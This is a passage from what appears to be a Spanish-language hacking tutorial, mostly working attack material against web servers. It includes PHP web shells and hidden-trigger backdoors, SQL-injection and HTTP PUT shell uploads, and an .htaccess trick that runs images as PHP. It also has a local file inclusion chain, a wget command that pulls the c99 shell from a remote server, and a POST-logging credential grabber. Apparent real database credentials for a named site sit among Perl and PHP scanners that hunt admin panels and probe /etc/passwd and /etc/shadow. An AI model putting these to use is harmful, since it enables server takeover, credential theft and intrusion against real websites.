si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################################################################
las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la nesesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================================================================================================================================
###########
#blood_rec#
###########
<?php
echo $_GET['comando'];
?>
www.dondeestemontado.com/test.php?comando=Hola
<?php
system( $_GET['comando']);
?>
www.dondeestemontado.com/test.php?comando=dir
<?php
show_code( $_GET['comando']);
?>
www.dondeestemontado.com/test.php?comando=index.php
inurl:c99.txt
inurl:upload.php
http://www.el-informador.com/admin/
<?php
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>
<?php
$tipo=explode(".",$nombreFIle);
if($tipo[1]=='jpg'){
echo "paso";
}
?>
union+select+,1,2,'<? system($_GET[cmd]); ?>'+into+oufile+ruta/shell.php
allow_url_include = On
allow_url_fopen = On
PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4
<?php
aqui code de la shell
?>
$user_db = 'i1n1f3o4_admin'; // Server Username
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)
<?php
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]<br>";
}
$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
<?php
echo "Lo que sea";
?>
<?php
echo "Lo que sea";
?>
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
<?php
echo "Lo que sea";
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
<Files *.jpg>
ForceType application/x-httpd-php
</Files>
<?php
if(!empty($_GET['file'])){
include $_GET['file'];
}
?>
http://www.victim.com/filewithlfi.php?file=shell.jpg
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php
www.server.com/c99.txt
www.victim.com/shell.php
<?php
echo
"
########### Admin Finder By _84kur10_- ############
# #
# Buscador de admin logins #
# Automatiza la busqueda de logueos #
# #
# #
#==========================================================#
# Usage: php loginFinder.php http://www.website.com #
# #
############################################################\n\n";
function loadData()
{
$fp = "admin.txt";
$strs=file($fp);
return $strs;
}
$admins=loadData();
foreach($admins as $index => $test)
{
$url=$argv[1].'/'.trim($test);
if($result=@file_get_contents($url))
echo "posible logueo encontrado ".$argv[1].'/'.$test;
}
?>
admin1.php
admin1.html
admin2.php
admin2.html
admin.php
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
#Name program = LFI-CHECKER
#Version = 0.1
#Autor = Guason
#Funcion del programa = Busca vulnerabilidad LFI probando con paths posibles
use LWP::Simple;
@paths = ('/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../etc/passwd%00',
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_ log',
'/usr/local/apache/logs/access. log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log',
'/usr/local/apache2/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/access.log',
'/var/log/httpd/error_log',
'/var/log/httpd/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/log/error_log',
'/var/log/error.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log',
'/Program Files\Apache Group\Apache\logs\error.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/access_log',
'/var/log/error_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf',
'/Program Files\xampp\apache\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/xampp\apache\bin\php.ini',
'/NetServer\bin\stable\apache\php.ini',
'/home2\bin\stable\apache\php.ini',
'/home\bin\stable\apache\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/usr/local/cpanel/logs/stats_log',
'/var/cpanel/cpanel.config',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog');
if (!$ARGV[0]) {
print "\n\nLFI Checker 0.1 by Guason\n\n";
print "\nSintasis = $0 <WEB>\n\n";
print "\n<WEB> = Solamente la web ejemplo = www.macizorras.com\n\n";
print "Written by Guason\n";
exit 1;
}
my $host = $ARGV[0];
print "\n\n###########################SCANEANDO $host###################################################\n\n";
foreach $path(@paths){
print "$path\n";
$weber = $host.$path;
$response=get($weber);
if($response=~ /root:x:/) {
&yeah;
}
}
sub yeah {
print "\n\nSe encontro $path\n\n\n";
}
print "\n\nWritten by Guason || 2009\n\n";
print "\n\nVisita guason-cracker.blogspot.com & infierno-hacking.webcindario.com\n\n";
print "############################END############################################\n";
exit 1;
#Agradecimientos = none = 0
#Email = [email protected]
#Blog = guason-cracker.blogspot.com
#Web = infierno-hacking.webcindario.com
#Good Bye
#!/usr/bin/perl
##
# By GlaDiaT0R
# Admin Control Panel Finder ___ Version 1
# Home: Darkgh0st.com
##
use HTTP::Request;
use LWP::UserAgent;
system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');
print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";
print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;
print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);
if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";
print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";
if($code eq "asp"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','
panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp
','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin
/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/inde
x.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm
l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','
modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.
html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','a
dmin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/logi
n.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a
dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','a
dmincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar
ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm
in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','we
badmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/logi
n.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp'
,'admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.
asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/inde
x.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin
/index.asp','siteadmin/login.html'
);
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}
# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------
if($code eq "cfm"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','
panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cf
m','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admi
n/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/inde
x.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm
l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','
modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.
html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm',
'admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/log
in.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a
dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','a
dmincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar
ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm
in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','w
ebadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/lo
gin.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cf
m','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.
cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/ind
ex.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadm
in/index.cfm','siteadmin/login.html'
);
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}
# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------
if($code eq "php"){
@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','
panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/ad
min.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html'
,'admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','ad
min_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/accou
nt.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html
','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/logi
n.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/a
dmin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/
login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.htm
l','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','admin
area/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.ht
ml','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','l
ogin.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.htm
l','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpa
nel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',
'adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php',
'modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admi
n2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);
foreach $ways(@path2){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}
##
# By GlaDiaT0R
##
#Name program = Sniper-Admin
#Version = beta
#Funcion = Buscar panel de admin
#Autor = Guason
use LWP::Simple;
use LWP::UserAgent;
@path = ("admin1.html","admin1.php","admin2.php","admin2.html","yonetim.php","yonetim.html",
"yonetici.php","yonetici.html","adm/","admin/",
"admin/account.php","admin/account.html","admin/index.php","admin/index.html","admin/login.php",
"admin/login.html","admin/home.php","admin/controlpanel.html","admin/controlpanel.php","admin.php",
"admin.html","admin/cp.php","admin/cp.html","cp.php","cp.html","administrator/","administrator/index.html",
"administrator/index.php","administrator/login.html","administrator/login.php","administrator/account.html",
